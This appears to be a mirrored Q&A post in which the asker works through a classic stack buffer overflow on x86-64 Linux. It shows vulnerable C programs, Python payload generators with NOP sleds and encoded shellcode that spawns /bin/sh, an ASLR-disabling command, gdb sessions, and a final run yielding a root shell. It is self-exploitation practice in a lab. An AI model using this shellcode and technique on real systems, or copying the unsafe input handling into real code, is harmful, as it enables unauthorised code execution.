简体   繁体   中英

How to perform a simple buffer_overflow attack?

I have tried such an attack thousands of times but all fail and end with the same problem.

I have posted the code for my bufferoverflow.c program. I have compiled it with gcc along with the -fno-stack-protector flag and -z execstack .

I debugged this program with the help of gdb and found out that it required 424 characters to make a segmentation fault[overflow of buffer]. I have also provided the code of my hack.py whose output I have stored in a file called fuzzing . After doing everything, every time I come to this end-point that when I test my program and feed it with the fuzzing , it still crashes and does not give me a shell!

int vuln() {
    // Define variables
    char arr[400];
    int return_status;
    // Grab user input
    printf("What's your name?\n");
    return_status = read(0, arr, 800);
    // Print user input
    printf("Hey %s", arr);
    // Return success
    return 0;
}
int main(int argc, char *argv[]) {
    // Call vulnerable function
    vuln();
    // Return success
    return 0;
}

The above code is of bufferoverflow.c .

# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf =  ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf3\xb2\xb6\x93\x1e\x9d\x9c"
buf += "\x79\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x99\x9b\xee\x0a\x74\x9f\xc3\x13\xf2\xec\xb9\x96\x56"
buf += "\x0a\xd4\xc0\xf1\xb2\xa7\xcf\xde\x35\xb7\x4f\xa2\xfa"
buf += "\x3f\x75\x74\x8d\xc6\x13\xd9\xea\xb9\x96\x74\x9e\xc2"
buf += "\x31\x0c\x7c\xdc\xb2\x46\x92\x99\x0c\x05\xd8\x8d\xcb"
buf += "\x87\xd5\x27\x56\x91\xdb\xd8\xbc\x6d\xf5\x9c\x2a\xbb"
buf += "\x3b\x51\xc1\x49\xd5\x15\x9f\xfc\xb7\xb6\x93\x1e\x9d"
buf += "\x9c\x79"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
print nop_slide + buf +  padding + return_address

This above code is of hack.py whose output is stored in fuzzing and acts as a input file for the program.

I expect my program to give me a shell in msfconsole but it actually stops at a point and shows the following error:

root@kali:~/Buffer Overflow# ./bufferoverflow < fuzzing 
What's your name?
Hey ����������������������������������������������������������������������������������������������������H1�H������H�����H�󲶓��yH1X'H-���������
t���칖V
Segmentation fault
root@kali:~/Buffer Overflow#

Okay I figured out my problem! It was quite simple.

Let's say I have the following code :-

#include <stdio.h>

void vuln() {
    char string[1024];
    gets(string);
    printf("%s\n", string);
}

int main() {
    vuln();
}

I save it in a file called script.c and compile it using :-

gcc -z execstack script.c -o script.elf

And before proceeding any further I'll disable ASLR so that it doesn't screw up the memory addresses :-

echo 0 > /proc/sys/kernal/randomize_va_space

Now like usual, I debug the program using GDB and find that the buffer is located at rbp-0x400 and set a breakpoint after the gets function. When I start the program and feed it a lot of A's, I examine the buffer and see it is that I can overwrite the RIP and make it point to an address close to the beginning of the buffer, so that the control jumps to the NOP-sled and then slides down to the shellcode. Here is output of examining the buffer in GDB.

(gdb) x/64x $rbp-0x400
0x7fffffffdc60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdc90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdca0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcb0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

So I decide to make the RIP point to 0x7fffffffdc70 and then I craft the following exploit in payload.py :-

import sys
import struct

offset  =   1032
RET =   struct.pack("Q", 0x7fffffffdc70)

buf  = b""
buf += b"\x90" * 256
buf += b"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x66\xc0\xf5\xcb\x71\x99\xa8"
buf += b"\x4c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x0c\xfb\xad\x52\x39\x22\x87\x2e\x0f\xae\xda\xb8\x19"
buf += b"\x99\xfb\x04\xef\x27\x9d\xe6\x12\x99\xa8\x04\xef\x26"
buf += b"\xa7\x23\x7b\x99\xa8\x4c\x49\xa2\x9c\xa5\x5e\xfb\xc9"
buf += b"\x3f\x0e\xc0\xa3\x9c\x39\x10\x4e\x43\x63\xc0\xf5\xcb"
buf += b"\x71\x99\xa8\x4c"
buf += b"\x41" * (offset - len(buf))
buf += RET

sys.stdout.buffer.write(buf)

NOTE : The above shellcode spawns the /bin/sh shell.

Now I store the output of this python script in a file called exploit.txt and feed input to the program in GDB through the exploit.txt :-

root@linux:~/Desktop/Buffer Overflow# python3 payload.py > exploit.txt 
root@linux:~/Desktop/Buffer Overflow# gdb ./script.elf -q
Reading symbols from ./script.elf...
(No debugging symbols found in ./script.elf)
(gdb) r < exploit.txt 
Starting program: /root/Desktop/Buffer Overflow/script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
process 136690 is executing new program: /usr/bin/dash
[Detaching after fork from child process 136694]
[Inferior 1 (process 136690) exited normally]
(gdb) 

Wait what?? We executed /bin/sh and not /bin/dash. Well this looks in incorrect but it's actually true because /bin/sh actually points to /bin/dash :-

root@linux:~/Desktop/Buffer Overflow# ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 29  2019 /bin/sh -> dash

But anyway, this didn't work in GDB! I tried this outside GDB and I got these results :-

root@linux:~/Desktop/Buffer Overflow# ./script.elf < exploit.txt 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
Illegal instruction
root@linux:~/Desktop/Buffer Overflow# 

Wait that's weird! We should get a shell right, at least in GDB we were able to execute our shellcode but outside it we get an 'Illegal Instruction'. Oh my god I spent a lot of time looking to find an answer, finally figured it out. The reason is that, though the ASLR is disabled so addresses aren't changing but the ENVIRONMENT VARIABLES are the main culprit. So the env vars are changing in GDB and in the actual terminal. We can't get rid of them, so how can we determine the correct start address of buffer at run-time.

What I did was I executed the program in one terminal :-

root@linux:~/Desktop/Buffer Overflow# ./script.elf 


Now it's waiting for input, so I quickly opened up another terminal and using the following command :-

root@linux:~# gdb --pid $(pidof ./script.elf) -q 
Attaching to process 136928
Reading symbols from /root/Desktop/Buffer Overflow/script.elf...
(No debugging symbols found in /root/Desktop/Buffer Overflow/script.elf)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/40/f80fd23b36ba3a7e20f63d615dc1aca83f4262.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/8a/980b57d17a1e050e7646f9604e8a96824d3691.debug...
0x00007ffff7ecf59e in __GI___libc_read (fd=0, buf=0x5555555592a0, nbytes=1024)
    at ../sysdeps/unix/sysv/linux/read.c:26
26  ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb) 

So I attached GDB to the running program then I set a breakpoint after the gets function and then typed some A's in the previous terminal [ where the script.elf was running ], after hitting enter, I switched back to the GDB terminal and type 'c' . So it continued and finally hit the breakpoint. This time I could analyse the buffer accurately :-

(gdb) x/64x $rbp-0x400
0x7fffffffdcc0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcd0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdce0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdcf0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd00: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd10: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd20: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd30: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd40: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd50: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd60: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd70: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd80: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdd90: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffdda0: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffddb0: 0x41414141  0x41414141  0x41414141  0x41414141
(gdb) 

So now I'll choose the address 0x7fffffffdcd0 as to where the RIP must point to. I modified the payload.py and saved it! I then used its output as the input for the script.elf and I got this :-

root@linux:~/Desktop/Buffer Overflow# python3 payload.py | ./script.elf 
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
root@linux:~/Desktop/Buffer Overflow# 

Woahh!! Shellcode executed but we didn't get a shell. Seems confusing. Actually the shellcode executed perfectly and waited for input & since the only input we gave to the program was the output of payload.py . So if we just use :-

python3 payload.py && cat

We can give input through stdin and it can echo it back through stdout. Seems good, we execute shellcode, the program asks for input, we give it input, it reads, executes it on /bin/sh shell, and gives the output. Great so how can we get this working? Simple, we will use the combined input of the above command to the script.elf like this :-

(python3 payload.py && cat) | ./script.elf

And we get an output like this :-

root@linux:~/Desktop/Buffer Overflow# (python3 payload.py && cat) | ./script.elf 

����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
                                                                                                                             ��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
ls
exploit.txt  payload.py  script.c  script.elf
pwd
/root/Desktop/Buffer Overflow
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)

Woah! Fixed it! That was pretty simple.

NOTE : The 'ls', 'pwd' , 'whoami' & 'id' are entered by me during run-time

So the exploit works perfectly now!!

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM